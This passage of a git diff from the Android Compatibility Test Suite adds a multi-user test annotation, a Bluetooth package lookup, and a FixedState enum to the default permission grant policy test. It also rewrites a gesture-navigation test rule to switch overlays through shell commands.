ModuleDetector.getPlayManagedModules(pm); - Set<String> moduleNames = new HashSet<>(); - for (MainlineModule module : modules) { - moduleNames.add(module.packageName); - } - Log.i(LOG_TAG, "Play managed modules are: <" + String.join(",", moduleNames) + ">"); - } catch (Exception e) { - Log.e(LOG_TAG, "Failed to retrieve modules.", e); - } - this.finish(); - } -} diff --git a/apps/PermissionApp/Android.bp b/apps/PermissionApp/Android.bp index 70c7d672b0c..df62a77e5fa 100644 --- a/apps/PermissionApp/Android.bp +++ b/apps/PermissionApp/Android.bp @@ -30,6 +30,6 @@ android_test_helper_app { "arcts", "cts", "general-tests", - "mts", + "mts-permission", ], } diff --git a/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/annotations/RequireMultiUserSupport.java b/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/annotations/RequireMultiUserSupport.java new file mode 100644 index 00000000000..03d21f43d2a --- /dev/null +++ b/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/annotations/RequireMultiUserSupport.java @@ -0,0 +1,33 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.android.bedstead.harrier.annotations; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +/** + * Annotation to indicate that a test requires multi-user support. + * + * <p>This can be enforced by using {@code DeviceState}. + */ +@Target({ElementType.METHOD, ElementType.ANNOTATION_TYPE, ElementType.TYPE}) +@Retention(RetentionPolicy.RUNTIME) +//@Experimental +public @interface RequireMultiUserSupport { +} diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java index b28b815a9de..7bd649dc895 100644 --- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java +++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java @@ -67,6 +67,7 @@ import com.android.bedstead.harrier.annotations.RequireDoesNotHaveFeature; import com.android.bedstead.harrier.annotations.RequireFeature; import com.android.bedstead.harrier.annotations.RequireHeadlessSystemUserMode; import com.android.bedstead.harrier.annotations.RequireLowRamDevice; +import com.android.bedstead.harrier.annotations.RequireMultiUserSupport; import com.android.bedstead.harrier.annotations.RequireNotHeadlessSystemUserMode; import com.android.bedstead.harrier.annotations.RequireNotLowRamDevice; import com.android.bedstead.harrier.annotations.RequirePackageInstalled; @@ -786,6 +787,12 @@ public final class DeviceState extends HarrierRule { ensureGlobalSettingSet( ensureGlobalSettingSetAnnotation.key(), ensureGlobalSettingSetAnnotation.value()); + continue; + } + + if (annotation instanceof RequireMultiUserSupport) { + requireMultiUserSupport(); + continue; } } @@ -2528,4 +2535,9 @@ public final class DeviceState extends HarrierRule { } TestApis.settings().global().putString(key, value); } + + private void requireMultiUserSupport() { + assumeTrue("This test is only supported on multi user devices", + TestApis.users().supportsMultipleUsers()); + } } diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/bluetooth/Bluetooth.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/bluetooth/Bluetooth.java index 30a642e1a87..4b9e87ec188 100644 --- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/bluetooth/Bluetooth.java +++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/bluetooth/Bluetooth.java @@ -17,6 +17,7 @@ package com.android.bedstead.nene.bluetooth; import static android.os.Build.VERSION_CODES.R; +import static android.os.Process.BLUETOOTH_UID; import static com.android.bedstead.nene.permissions.CommonPermissions.BLUETOOTH; import static com.android.bedstead.nene.permissions.CommonPermissions.BLUETOOTH_CONNECT; @@ -25,21 +26,24 @@ import static com.android.bedstead.nene.permissions.CommonPermissions.INTERACT_A import static com.android.bedstead.nene.permissions.CommonPermissions.NETWORK_SETTINGS; import static com.android.bedstead.nene.utils.Versions.T; -import static com.google.common.truth.Truth.assertThat; - import android.bluetooth.BluetoothAdapter; import android.bluetooth.BluetoothManager; import android.content.Context; import android.content.Intent; +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.os.UserHandle; import com.android.bedstead.nene.TestApis; +import com.android.bedstead.nene.annotations.Experimental; +import com.android.bedstead.nene.exceptions.NeneException; import com.android.bedstead.nene.permissions.PermissionContext; import com.android.bedstead.nene.utils.Poll; +import com.android.bedstead.nene.utils.Versions; import com.android.compatibility.common.util.BlockingBroadcastReceiver; /** Test APIs related to bluetooth. */ public final class Bluetooth { - public static final Bluetooth sInstance = new Bluetooth(); private static final Context sContext = TestApis.context().instrumentedContext(); @@ -47,90 +51,130 @@ public final class Bluetooth { sContext.getSystemService(BluetoothManager.class); private static final BluetoothAdapter sBluetoothAdapter = sBluetoothManager.getAdapter(); - private Bluetooth() { - } + private Bluetooth() {} /** Enable or disable bluetooth on the device. */ public void setEnabled(boolean enabled) { - if (isEnabled() == enabled) { - return; - } - - if (enabled) { - enable(); - } else { - disable(); - } + if (isEnabled() == enabled) { + return; + } + + if (enabled) { + enable(); + } else { + disable(); + } } private void enable() { - try (PermissionContext p = - TestApis.permissions() - .withPermission(BLUETOOTH_CONNECT, INTERACT_ACROSS_USERS_FULL, - BLUETOOTH_PRIVILEGED) - .withPermissionOnVersionAtLeast(T, NETWORK_SETTINGS)) { - BlockingBroadcastReceiver r = BlockingBroadcastReceiver.create( - sContext, - BluetoothAdapter.ACTION_STATE_CHANGED, - this::isStateEnabled).register(); - - try { - boolean returnValue = sBluetoothAdapter.enable(); - - r.awaitForBroadcast(); - Poll.forValue("Bluetooth Enabled", this::isEnabled) - .toBeEqualTo(true) - .errorOnFail("Waited for bluetooth to be enabled." - + " .enable() returned " + returnValue) - .await(); - } finally { - r.unregisterQuietly(); - } + try (PermissionContext p = TestApis.permissions() + .withPermission(BLUETOOTH_CONNECT, + INTERACT_ACROSS_USERS_FULL, BLUETOOTH_PRIVILEGED) + .withPermissionOnVersionAtLeast(T, NETWORK_SETTINGS)) { + BlockingBroadcastReceiver r = + BlockingBroadcastReceiver + .create(sContext, BluetoothAdapter.ACTION_STATE_CHANGED, + this::isStateEnabled) + .register(); + + try { + boolean returnValue = sBluetoothAdapter.enable(); + + r.awaitForBroadcast(); + Poll.forValue("Bluetooth Enabled", this::isEnabled) + .toBeEqualTo(true) + .errorOnFail("Waited for bluetooth to be enabled." + + " .enable() returned " + returnValue) + .await(); + } finally { + r.unregisterQuietly(); } - + } } private void disable() { - try (PermissionContext p = - TestApis.permissions() - .withPermission(BLUETOOTH_CONNECT, INTERACT_ACROSS_USERS_FULL, - BLUETOOTH_PRIVILEGED) - .withPermissionOnVersionAtLeast(T, NETWORK_SETTINGS)) { - BlockingBroadcastReceiver r = BlockingBroadcastReceiver.create( - sContext, - BluetoothAdapter.ACTION_STATE_CHANGED, - this::isStateDisabled).register(); - - try { - boolean returnValue = sBluetoothAdapter.disable(); - - r.awaitForBroadcast(); - Poll.forValue("Bluetooth Enabled", this::isEnabled) - .toBeEqualTo(false) - .errorOnFail("Waited for bluetooth to be disabled." - + " .disable() returned " + returnValue) - .await(); - } finally { - r.unregisterQuietly(); - } + try (PermissionContext p = TestApis.permissions() + .withPermission(BLUETOOTH_CONNECT, + INTERACT_ACROSS_USERS_FULL, BLUETOOTH_PRIVILEGED) + .withPermissionOnVersionAtLeast(T, NETWORK_SETTINGS)) { + BlockingBroadcastReceiver r = + BlockingBroadcastReceiver + .create(sContext, BluetoothAdapter.ACTION_STATE_CHANGED, + this::isStateDisabled) + .register(); + + try { + boolean returnValue = sBluetoothAdapter.disable(); + + r.awaitForBroadcast(); + Poll.forValue("Bluetooth Enabled", this::isEnabled) + .toBeEqualTo(false) + .errorOnFail("Waited for bluetooth to be disabled." + + " .disable() returned " + returnValue) + .await(); + } finally { + r.unregisterQuietly(); } + } } /** {@code true} if bluetooth is enabled. */ public boolean isEnabled() { - try (PermissionContext p = - TestApis.permissions().withPermissionOnVersionAtMost(R, BLUETOOTH)) { - return sBluetoothAdapter.isEnabled(); - } + try (PermissionContext p = + TestApis.permissions().withPermissionOnVersionAtMost(R, BLUETOOTH)) { + return sBluetoothAdapter.isEnabled(); + } } private boolean isStateEnabled(Intent intent) { - return intent.getIntExtra(BluetoothAdapter.EXTRA_STATE, -1) - == BluetoothAdapter.STATE_ON; + return intent.getIntExtra(BluetoothAdapter.EXTRA_STATE, -1) == BluetoothAdapter.STATE_ON; } private boolean isStateDisabled(Intent intent) { - return intent.getIntExtra(BluetoothAdapter.EXTRA_STATE, -1) - == BluetoothAdapter.STATE_OFF; + return intent.getIntExtra(BluetoothAdapter.EXTRA_STATE, -1) == BluetoothAdapter.STATE_OFF; + } + + /** The bluetooth UID is associated with multiple packages. Get the main one. */ + @Experimental + public String findPackageName() { + if (!Versions.meetsMinimumSdkVersionRequirement(T)) { + return "com.android.bluetooth"; + } + // this activity will always be in the package where the rest of Bluetooth lives + var sentinelActivity = "com.android.bluetooth.opp.BluetoothOppLauncherActivity"; + var packageManager = sContext.createContextAsUser(UserHandle.SYSTEM, 0).getPackageManager(); + var allPackages = packageManager.getPackagesForUid(BLUETOOTH_UID); + String matchedPackage = null; + for (String candidatePackage : allPackages) { + PackageInfo packageInfo; + try { + packageInfo = + packageManager.getPackageInfo( + candidatePackage, + PackageManager.GET_ACTIVITIES + | PackageManager.MATCH_ANY_USER + | PackageManager.MATCH_UNINSTALLED_PACKAGES + | PackageManager.MATCH_DISABLED_COMPONENTS); + } catch (PackageManager.NameNotFoundException e) { + // rethrow + throw new NeneException(e); + } + if (packageInfo.activities == null) { + continue; + } + for (var activity : packageInfo.activities) { + if (sentinelActivity.equals(activity.name)) { + if (matchedPackage == null) { + matchedPackage = candidatePackage; + } else { + throw new NeneException("multiple main bluetooth packages found"); + } + } + } + } + if (matchedPackage != null) { + return matchedPackage; + } + throw new NeneException("Could not find main bluetooth package"); } } diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java index 200feb70b24..0ce2d7fe2e8 100644 --- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java +++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java @@ -40,6 +40,7 @@ import androidx.annotation.CheckResult; import androidx.annotation.Nullable; import com.android.bedstead.nene.TestApis; +import com.android.bedstead.nene.annotations.Experimental; import com.android.bedstead.nene.exceptions.AdbException; import com.android.bedstead.nene.exceptions.AdbParseException; import com.android.bedstead.nene.exceptions.NeneException; @@ -485,6 +486,11 @@ public final class Users { return mCachedUsers.get(id); } + @Experimental + public boolean supportsMultipleUsers() { + return UserManager.supportsMultipleUsers(); + } + static Stream<UserInfo> users() { if (Permissions.sIgnorePermissions.get()) { return sUserManager.getUsers( diff --git a/common/device-side/util-axt/OWNERS b/common/device-side/util-axt/OWNERS index 55fc0778dca..c7a387cf9ea 100644 --- a/common/device-side/util-axt/OWNERS +++ b/common/device-side/util-axt/OWNERS @@ -1,2 +1,2 @@ -per-file Android.bp=guangzhu@google.com, fdeng@google.com, moonk@google.com, jdesprez@google.com, aaronholden@google.com, yuji@google.com, nickrose@google.com, felipeal@google.com, eugenesusla@google.com, svetoslavganov@google.com +per-file Android.bp=guangzhu@google.com, fdeng@google.com, moonk@google.com, jdesprez@google.com, felipeal@google.com, eugenesusla@google.com, svetoslavganov@google.com diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java index 41a38d4f18d..f9174ad5949 100644 --- a/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java +++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java @@ -18,6 +18,9 @@ package com.android.compatibility.common.util; import static android.content.pm.PermissionInfo.PROTECTION_DANGEROUS; +import static com.android.compatibility.common.util.BaseDefaultPermissionGrantPolicyTest.UidState.FixedState.FIXED; +import static com.android.compatibility.common.util.BaseDefaultPermissionGrantPolicyTest.UidState.FixedState.NOT_FIXED; +import static com.android.compatibility.common.util.BaseDefaultPermissionGrantPolicyTest.UidState.FixedState.SUPER_FIXED; import static com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity; import static org.junit.Assert.fail; @@ -150,14 +153,14 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic * @param permissions the set of permissions, formatted "permission_name fixed_boolean" */ public void setException(String pkg, String sha256, String... permissions) { - HashMap<String, Boolean> permissionsMap = new HashMap<>(); + HashMap<String, UidState.FixedState> permissionsMap = new HashMap<>(); for (String permissionString : permissions) { String[] parts = permissionString.trim().split("\\s+"); if (parts.length != 2) { Log.e(LOG_TAG, "Unable to parse remote exception permission: " + permissionString); return; } - permissionsMap.put(parts[0], Boolean.valueOf(parts[1])); + permissionsMap.put(parts[0], Boolean.valueOf(parts[1]) ? FIXED : NOT_FIXED); } mRemoteExceptions.add(new DefaultPermissionGrantException(pkg, sha256, permissionsMap)); } @@ -174,14 +177,14 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic */ public void setExceptionWithMetadata(String company, String metadata, String pkg, String sha256, String... permissions) { - HashMap<String, Boolean> permissionsMap = new HashMap<>(); + HashMap<String, UidState.FixedState> permissionsMap = new HashMap<>(); for (String permissionString : permissions) { String[] parts = permissionString.trim().split("\\s+"); if (parts.length != 2) { Log.e(LOG_TAG, "Unable to parse remote exception permission: " + permissionString); return; } - permissionsMap.put(parts[0], Boolean.valueOf(parts[1])); + permissionsMap.put(parts[0], Boolean.valueOf(parts[1]) ? FIXED : NOT_FIXED); } mRemoteExceptions.add(new DefaultPermissionGrantException( company, metadata, pkg, sha256, permissionsMap)); @@ -378,9 +381,9 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic } List<String> requestedPermissions = Arrays.asList(packageInfo.requestedPermissions); - for (Map.Entry<String, Boolean> entry : exception.permissions.entrySet()) { + for (Map.Entry<String, UidState.FixedState> entry : exception.permissions.entrySet()) { String permission = entry.getKey(); - Boolean fixed = entry.getValue(); + UidState.FixedState fixed = entry.getValue(); if (!requestedPermissions.contains(permission)) { Log.w(LOG_TAG, "Permission " + permission + " not requested by: " + packageName); continue; @@ -512,8 +515,8 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic } appendPackagePregrantedPerms(pkg, "split from non-dangerous permission " - + permission, false, Collections.singleton(extendedPerm), - outUidStates); + + permission, NOT_FIXED, + Collections.singleton(extendedPerm), outUidStates); } } } @@ -544,7 +547,7 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic } appendPackagePregrantedPerms(pkg, "permission " + permissionToAdd - + " is granted to pre-" + targetSdk + " apps", false, + + " is granted to pre-" + targetSdk + " apps", NOT_FIXED, Collections.singleton(permissionToAdd), outUidStates); } } @@ -553,6 +556,13 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic public static void appendPackagePregrantedPerms(PackageInfo packageInfo, String reason, boolean fixed, Set<String> pregrantedPerms, SparseArray<UidState> outUidStates) { + appendPackagePregrantedPerms(packageInfo, reason, fixed ? FIXED : NOT_FIXED, + pregrantedPerms, outUidStates); + } + + public static void appendPackagePregrantedPerms(PackageInfo packageInfo, String reason, + UidState.FixedState fixed, Set<String> pregrantedPerms, + SparseArray<UidState> outUidStates) { final int uid = packageInfo.applicationInfo.uid; UidState uidState = outUidStates.get(uid); if (uidState == null) { @@ -561,7 +571,7 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic } for (String requestedPermission : packageInfo.requestedPermissions) { if (pregrantedPerms.contains(requestedPermission)) { - uidState.addGrantedPermission(packageInfo.packageName, reason, requestedPermission, + uidState.addGrantedPermission(packageInfo, reason, requestedPermission, fixed); } } @@ -621,8 +631,9 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic setPermissionGrantState(packageInfo.packageName, permission, false); + UidState.FixedState fixedState = uidState.grantedPermissions.valueAt(i); Boolean fixed = grantAsFixedPackageNames.contains(packageInfo.packageName) - || uidState.grantedPermissions.valueAt(i); + || fixedState == SUPER_FIXED || fixedState == FIXED; // Weaker grant is fine, e.g. not-fixed instead of fixed. if (!fixed && packageManager.checkPermission(permission, packageInfo.packageName) @@ -702,9 +713,9 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic public class GrantReason { public final String reason; public final boolean override; - public final Boolean fixed; + public final FixedState fixed; - GrantReason(String reason, boolean override, Boolean fixed) { + GrantReason(String reason, boolean override, FixedState fixed) { this.reason = reason; this.override = override; this.fixed = fixed; @@ -726,10 +737,34 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic } } + /** + * Enum representing if a permission's pregrant condition should be fixed and how it should + * interact with other pregrant conditions' fixed status. + */ + public enum FixedState { + + /** + * Permission is fixed and when merging with other pregrant conditions it won't lose + * fixed status and will override non-fixed status. + */ + SUPER_FIXED, + + /** + * Permission is fixed and when merging with other pregrant conditions it may lose + * fixed status. + */ + FIXED, + + /** + * Permission is not fixed. + */ + NOT_FIXED + } + // packageName -> permission -> [reason] public ArrayMap<String, ArrayMap<String, ArraySet<GrantReason>>> mGrantReasons = new ArrayMap<>(); - public ArrayMap<String, Boolean> grantedPermissions = new ArrayMap<>(); + public ArrayMap<String, FixedState> grantedPermissions = new ArrayMap<>(); public void log() { for (String packageName : mGrantReasons.keySet()) { @@ -780,32 +815,26 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic } } - public void addGrantedPermission(String packageName, String reason, String permission, - Boolean fixed) { - Context context = getInstrumentation().getTargetContext(); + public void addGrantedPermission(PackageInfo packageInfo, String reason, String permission, + FixedState fixed) { + String packageName = packageInfo.packageName; + int targetSdk = packageInfo.applicationInfo.targetSdkVersion; // Add permissions split off from the permission to granted - try { - PackageInfo info = context.getPackageManager().getPackageInfo(packageName, 0); - int targetSdk = info.applicationInfo.targetSdkVersion; - - for (String extendedPerm : extendBySplitPermissions(permission, targetSdk)) { - mergeGrantedPermission(packageName, extendedPerm.equals(permission) ? reason - : reason + " (split from " + permission + ")", extendedPerm, - fixed, false); - } - } catch (PackageManager.NameNotFoundException e) { - // ignore + for (String extendedPerm : extendBySplitPermissions(permission, targetSdk)) { + mergeGrantedPermission(packageName, extendedPerm.equals(permission) ? reason + : reason + " (split from " + permission + ")", extendedPerm, + fixed, false); } } public void overrideGrantedPermission(String packageName, String reason, String permission, - Boolean fixed) { + FixedState fixed) { mergeGrantedPermission(packageName, reason, permission, fixed, true); } public void mergeGrantedPermission(String packageName, String reason, String permission, - Boolean fixed, boolean override) { + FixedState fixed, boolean override) { if (!mGrantReasons.containsKey(packageName)) { mGrantReasons.put(packageName, new ArrayMap<>()); } @@ -817,18 +846,22 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic mGrantReasons.get(packageName).get(permission).add(new GrantReason(reason, override, fixed)); - Boolean oldFixed = grantedPermissions.get(permission); + FixedState oldFixed = grantedPermissions.get(permission); if (oldFixed == null) { grantedPermissions.put(permission, fixed); } else { - if (override) { - if (oldFixed == Boolean.FALSE && fixed == Boolean.TRUE) { + if (oldFixed != SUPER_FIXED && fixed == SUPER_FIXED) { + Log.w(LOG_TAG, "override already granted permission " + permission + "(" + + fixed + ") for " + packageName); + grantedPermissions.put(permission, fixed); + } else if (override) { + if (oldFixed == NOT_FIXED && fixed == FIXED) { Log.w(LOG_TAG, "override already granted permission " + permission + "(" + fixed + ") for " + packageName); grantedPermissions.put(permission, fixed); } } else { - if (oldFixed == Boolean.TRUE && fixed == Boolean.FALSE) { + if (oldFixed == FIXED && fixed == NOT_FIXED) { Log.w(LOG_TAG, "add already granted permission " + permission + "(" + fixed + ") to " + packageName); grantedPermissions.put(permission, fixed); @@ -846,20 +879,20 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic public String pkg; public String sha256; public boolean hasBrand; // in rare cases, brand will be specified instead of SHA256 hash - public Map<String, Boolean> permissions = new HashMap<>(); + public Map<String, UidState.FixedState> permissions = new HashMap<>(); public boolean hasNonBrandSha256() { return !sha256.isEmpty() && !hasBrand; } public DefaultPermissionGrantException(String pkg, String sha256, - Map<String, Boolean> permissions) { + Map<String, UidState.FixedState> permissions) { this(UNSET_PLACEHOLDER, UNSET_PLACEHOLDER, pkg, sha256, permissions); } public DefaultPermissionGrantException(String company, String metadata, String pkg, String sha256, - Map<String, Boolean> permissions) { + Map<String, UidState.FixedState> permissions) { this.company = company; this.metadata = metadata; this.pkg = pkg; diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/GestureNavRule.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/GestureNavRule.java index 9c363d23b39..4e798df6a5e 100644 --- a/common/device-side/util-axt/src/com/android/compatibility/common/util/GestureNavRule.java +++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/GestureNavRule.java @@ -19,58 +19,60 @@ package com.android.compatibility.common.util; import static org.junit.Assume.assumeTrue; import android.app.Instrumentation; -import android.content.ComponentName; import android.content.Context; -import android.content.Intent; import android.content.pm.PackageManager; import android.content.res.Resources; -import android.support.test.uiautomator.By; -import android.support.test.uiautomator.BySelector; +import android.graphics.Insets; +import android.graphics.Rect; +import android.os.SystemClock; import android.support.test.uiautomator.UiDevice; -import android.support.test.uiautomator.UiObject2; -import android.support.test.uiautomator.Until; -import android.util.ArrayMap; +import android.view.WindowInsets; +import android.view.WindowManager; import androidx.test.InstrumentationRegistry; +import org.junit.ClassRule; import org.junit.rules.ExternalResource; -import java.util.Map; +import java.io.IOException; /** - * Test rule to enable gesture navigation on the device. + * Test rule to enable gesture navigation on the device. Designed to be a {@link ClassRule}. */ public class GestureNavRule extends ExternalResource { - private static final String SETTINGS_PACKAGE_NAME = "com.android.settings"; private static final String NAV_BAR_INTERACTION_MODE_RES_NAME = "config_navBarInteractionMode"; - private static final int NAV_BAR_INTERACTION_MODE_GESTURAL = 2; + private static final int NAV_BAR_MODE_3BUTTON = 0; + private static final int NAV_BAR_MODE_2BUTTON = 1; + private static final int NAV_BAR_MODE_GESTURAL = 2; - /** Most application's res id must be larger than 0x7f000000 */ - public static final int MIN_APPLICATION_RES_ID = 0x7f000000; - public static final String SETTINGS_CLASS = - SETTINGS_PACKAGE_NAME + ".Settings$SystemDashboardActivity"; + private static final String NAV_BAR_MODE_3BUTTON_OVERLAY = + "com.android.internal.systemui.navbar.threebutton"; + private static final String NAV_BAR_MODE_2BUTTON_OVERLAY = + "com.android.internal.systemui.navbar.twobutton"; + private static final String GESTURAL_OVERLAY_NAME = + "com.android.internal.systemui.navbar.gestural"; + + private static final int WAIT_OVERLAY_TIMEOUT = 3000; + private static final int PEEK_INTERVAL = 200; - private final Map<String, Boolean> mSystemGestureOptionsMap = new ArrayMap<>(); private final Context mTargetContext; private final UiDevice mDevice; + private final WindowManager mWindowManager; - // Bounds for actions like swipe and click. - private String mEdgeToEdgeNavigationTitle; - private String mSystemNavigationTitle; - private String mGesturePreferenceTitle; - private boolean mConfiguredInSettings; + private final String mOriginalOverlayPackage; @Override protected void before() throws Throwable { if (!isGestureMode()) { enableGestureNav(); } - assumeGestureNavigationMode(); } @Override protected void after() { - disableGestureNav(); + if (!mOriginalOverlayPackage.equals(GESTURAL_OVERLAY_NAME)) { + disableGestureNav(); + } } /** @@ -81,39 +83,16 @@ public class GestureNavRule extends ExternalResource { Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation(); mDevice = UiDevice.getInstance(instrumentation); mTargetContext = instrumentation.getTargetContext(); - PackageManager packageManager = mTargetContext.getPackageManager(); - Resources res; - try { - res = packageManager.getResourcesForApplication(SETTINGS_PACKAGE_NAME); - } catch (PackageManager.NameNotFoundException e) { - return; - } - if (res == null) { - return; - } - - mEdgeToEdgeNavigationTitle = getSettingsString(res, "edge_to_edge_navigation_title"); - mGesturePreferenceTitle = getSettingsString(res, "gesture_preference_title"); - mSystemNavigationTitle = getSettingsString(res, "system_navigation_title"); - - String text = getSettingsString(res, "edge_to_edge_navigation_title"); - if (text != null) { - mSystemGestureOptionsMap.put(text, false); - } - text = getSettingsString(res, "swipe_up_to_switch_apps_title"); - if (text != null) { - mSystemGestureOptionsMap.put(text, false); - } - text = getSettingsString(res, "legacy_navigation_title"); - if (text != null) { - mSystemGestureOptionsMap.put(text, false); - } - mConfiguredInSettings = false; + mOriginalOverlayPackage = getCurrentOverlayPackage(); + mWindowManager = mTargetContext.getSystemService(WindowManager.class); } @SuppressWarnings("BooleanMethodIsAlwaysInverted") private boolean hasSystemGestureFeature() { + if (!containsNavigationBar()) { + return false; + } final PackageManager pm = mTargetContext.getPackageManager(); // No bars on embedded devices. @@ -124,129 +103,120 @@ public class GestureNavRule extends ExternalResource { || pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)); } - - private UiObject2 findSystemNavigationObject(String text, boolean addCheckSelector) { - BySelector widgetFrameSelector = By.res("android", "widget_frame"); - BySelector checkboxSelector = By.checkable(true); - if (addCheckSelector) { - checkboxSelector = checkboxSelector.checked(true); - } - BySelector textSelector = By.text(text); - BySelector targetSelector = By.hasChild(widgetFrameSelector).hasDescendant(textSelector) - .hasDescendant(checkboxSelector); - - return mDevice.findObject(targetSelector); - } - - private boolean launchToSettingsSystemGesture() { - - // Open the Settings app as close as possible to the gesture Fragment - Intent intent = new Intent(Intent.ACTION_MAIN); - ComponentName settingComponent = new ComponentName(SETTINGS_PACKAGE_NAME, SETTINGS_CLASS); - intent.setComponent(settingComponent); - intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK); - mTargetContext.startActivity(intent); - - // Wait for the app to appear - mDevice.wait(Until.hasObject(By.pkg("com.android.settings").depth(0)), - 5000); - mDevice.wait(Until.hasObject(By.text(mGesturePreferenceTitle)), 5000); - if (mDevice.findObject(By.text(mGesturePreferenceTitle)) == null) { - return false; - } - mDevice.findObject(By.text(mGesturePreferenceTitle)).click(); - mDevice.wait(Until.hasObject(By.text(mSystemNavigationTitle)), 5000); - if (mDevice.findObject(By.text(mSystemNavigationTitle)) == null) { - return false; + private String getCurrentOverlayPackage() { + final int currentNavMode = getCurrentNavMode(); + switch (currentNavMode) { + case NAV_BAR_MODE_GESTURAL: + return GESTURAL_OVERLAY_NAME; + case NAV_BAR_MODE_2BUTTON: + return NAV_BAR_MODE_2BUTTON_OVERLAY; + case NAV_BAR_MODE_3BUTTON: + default: + return NAV_BAR_MODE_3BUTTON_OVERLAY; } - mDevice.findObject(By.text(mSystemNavigationTitle)).click(); - mDevice.wait(Until.hasObject(By.text(mEdgeToEdgeNavigationTitle)), 5000); - - return mDevice.hasObject(By.text(mEdgeToEdgeNavigationTitle)); } - private void leaveSettings() { - mDevice.pressBack(); /* Back to Gesture */ - mDevice.waitForIdle(); - mDevice.pressBack(); /* Back to System */ - mDevice.waitForIdle(); - mDevice.pressBack(); /* back to Settings */ - mDevice.waitForIdle(); - mDevice.pressBack(); /* Back to Home */ - mDevice.waitForIdle(); - - mDevice.pressHome(); /* double confirm back to home */ - mDevice.waitForIdle(); + private void insetsToRect(Insets insets, Rect outRect) { + outRect.set(insets.left, insets.top, insets.right, insets.bottom); } private void enableGestureNav() { if (!hasSystemGestureFeature()) { return; } - - // Set up the gesture navigation by enabling it via the Settings app - boolean isOperatedSettingsToExpectedOption = launchToSettingsSystemGesture(); - if (isOperatedSettingsToExpectedOption) { - for (Map.Entry<String, Boolean> entry : mSystemGestureOptionsMap.entrySet()) { - UiObject2 uiObject2 = findSystemNavigationObject(entry.getKey(), true); - entry.setValue(uiObject2 != null); - } - UiObject2 edgeToEdgeObj = mDevice.findObject(By.text(mEdgeToEdgeNavigationTitle)); - if (edgeToEdgeObj != null) { - edgeToEdgeObj.click(); - mConfiguredInSettings = true; + try { + if (!mDevice.executeShellCommand("cmd overlay list").contains(GESTURAL_OVERLAY_NAME)) { + return; } + } catch (IOException ignore) { + // } - mDevice.waitForIdle(); - leaveSettings(); - - mDevice.pressHome(); - mDevice.waitForIdle(); - - mDevice.waitForIdle(); + monitorOverlayChange(() -> { + try { + mDevice.executeShellCommand("cmd overlay enable " + GESTURAL_OVERLAY_NAME); + } catch (IOException e) { + // Do nothing + } + }); } - /** - * Restore the original configured value for the system gesture by operating Settings. - */ private void disableGestureNav() { if (!hasSystemGestureFeature()) { return; } + monitorOverlayChange(() -> { + try { + mDevice.executeShellCommand("cmd overlay enable " + mOriginalOverlayPackage); + } catch (IOException ignore) { + // Do nothing + } + }); + } - if (mConfiguredInSettings) { - launchToSettingsSystemGesture(); - for (Map.Entry<String, Boolean> entry : mSystemGestureOptionsMap.entrySet()) { - if (entry.getValue()) { - UiObject2 navigationObject = findSystemNavigationObject(entry.getKey(), false); - if (navigationObject != null) { - navigationObject.click(); - } + private void getCurrentInsetsSize(Rect outSize) { + outSize.setEmpty(); + if (mWindowManager != null) { + WindowInsets insets = mWindowManager.getCurrentWindowMetrics().getWindowInsets(); + Insets navInsets = insets.getInsetsIgnoringVisibility( + 